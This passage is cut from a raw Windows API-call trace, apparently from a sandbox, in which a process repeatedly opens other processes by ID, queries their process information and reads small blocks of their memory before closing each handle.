lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.522] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.523] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c721c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.523] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c7218c8, lpBuffer=0x670f7c2b0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.524] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.526] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.589] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x100358020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.589] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c7212b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.590] malloc (_Size=0x72) returned 0x196ef0d2120 [0256.590] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1822c721922, lpBuffer=0x196ef0d2120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0256.591] free (_Block=0x196ef0d2120) [0256.592] CloseHandle (hObject=0x464) returned 1 [0256.696] _ui64tow_s (in: _Value=0x4a8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1192") returned 0x0 [0256.705] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1192") returned 4 [0256.707] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7b95ec4f, dwBuildNumber=0x7ffa, dwPlatformId=0x70f7c860, szCSDVersion="\x06") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.707] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0256.736] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a8) returned 0x464 [0256.736] GetLastError () returned 0x0 [0256.737] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0256.737] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x251d53018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0256.756] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0256.861] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8103510, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0256.887] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b810312a, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0256.904] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0256.907] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0256.907] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x251d53020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0256.923] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8102ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0256.946] malloc (_Size=0xd6) returned 0x196ef0d4e70 [0256.946] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8103192, lpBuffer=0x196ef0d4e70, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0256.965] free (_Block=0x196ef0d4e70) [0256.966] CloseHandle (hObject=0x464) returned 1 [0256.966] _ui64tow_s (in: _Value=0x2d8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="728") returned 0x0 [0256.971] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="728") returned 3 [0256.973] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0256.973] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0257.022] CloseHandle (hObject=0x0) returned 0 [0257.022] _ui64tow_s (in: _Value=0x614, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1556") returned 0x0 [0257.036] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1556") returned 4 [0257.037] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.037] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.119] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x614) returned 0x464 [0257.119] GetLastError () returned 0x0 [0257.119] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.120] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe246cb3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.120] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.120] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.120] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11948, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.122] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.124] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.124] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe246cb3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.124] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.124] malloc (_Size=0x7e) returned 0x196ef100ad0 [0257.124] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c119a8, lpBuffer=0x196ef100ad0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100ad0*, lpNumberOfBytesRead=0x0) returned 1 [0257.125] free (_Block=0x196ef100ad0) [0257.126] CloseHandle (hObject=0x464) returned 1 [0257.126] _ui64tow_s (in: _Value=0xd80, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3456") returned 0x0 [0257.132] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3456") returned 4 [0257.133] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.133] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.181] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd80) returned 0x464 [0257.181] GetLastError () returned 0x0 [0257.182] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.182] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.182] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.182] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.183] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.184] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.186] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.186] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.186] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.186] malloc (_Size=0x8c) returned 0x196ef0d53c0 [0257.187] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46197c, lpBuffer=0x196ef0d53c0, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d53c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.187] free (_Block=0x196ef0d53c0) [0257.188] CloseHandle (hObject=0x464) returned 1 [0257.189] _ui64tow_s (in: _Value=0xd88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3464") returned 0x0 [0257.196] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3464") returned 4 [0257.197] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.197] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.277] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd88) returned 0x464 [0257.277] GetLastError () returned 0x0 [0257.277] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.278] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.280] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.283] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.283] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.283] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.283] malloc (_Size=0x68) returned 0x196ef0d0450 [0257.283] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1958, lpBuffer=0x196ef0d0450, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0257.284] free (_Block=0x196ef0d0450) [0257.285] CloseHandle (hObject=0x464) returned 1 [0257.286] _ui64tow_s (in: _Value=0xd98, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3480") returned 0x0 [0257.295] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3480") returned 4 [0257.297] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.297] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.381] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd98) returned 0x464 [0257.381] GetLastError () returned 0x0 [0257.381] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.381] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.382] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.382] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.382] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc18f8, lpBuffer=0x670f7c2b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.384] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.444] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.444] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.444] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.445] malloc (_Size=0x88) returned 0x196ef100bf0 [0257.445] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1978, lpBuffer=0x196ef100bf0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100bf0*, lpNumberOfBytesRead=0x0) returned 1 [0257.445] free (_Block=0x196ef100bf0) [0257.446] CloseHandle (hObject=0x464) returned 1 [0257.447] _ui64tow_s (in: _Value=0xda0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3488") returned 0x0 [0257.453] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3488") returned 4 [0257.455] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.455] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.514] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xda0) returned 0x464 [0257.515] GetLastError () returned 0x0 [0257.515] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.515] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.516] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.516] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561d70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.516] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.517] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.527] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.527] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.527] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.528] malloc (_Size=0x9e) returned 0x196ef0fa630 [0257.528] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56198e, lpBuffer=0x196ef0fa630, nSize=0x9c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa630*, lpNumberOfBytesRead=0x0) returned 1 [0257.528] free (_Block=0x196ef0fa630) [0257.529] CloseHandle (hObject=0x464) returned 1 [0257.529] _ui64tow_s (in: _Value=0xdb0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3504") returned 0x0 [0257.534] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3504") returned 4 [0257.535] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0257.535] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0257.574] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb0) returned 0x464 [0257.574] GetLastError () returned 0x0 [0257.575] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0257.575] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x336018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0257.575] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0257.575] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0257.575] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0257.577] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0257.578] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0257.579] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x336020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0257.579] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0257.579] malloc (_Size=0x64) returned 0x196ef0d0450 [0257.579] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1954, lpBuffer=0x196ef0d0450, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0257.580] free (_Block=0x196ef0d0450) [0257.581] CloseHandle (hObject=0x464) returned 1 [0257.582] _ui64tow_s (in: _Value=0xdb8, 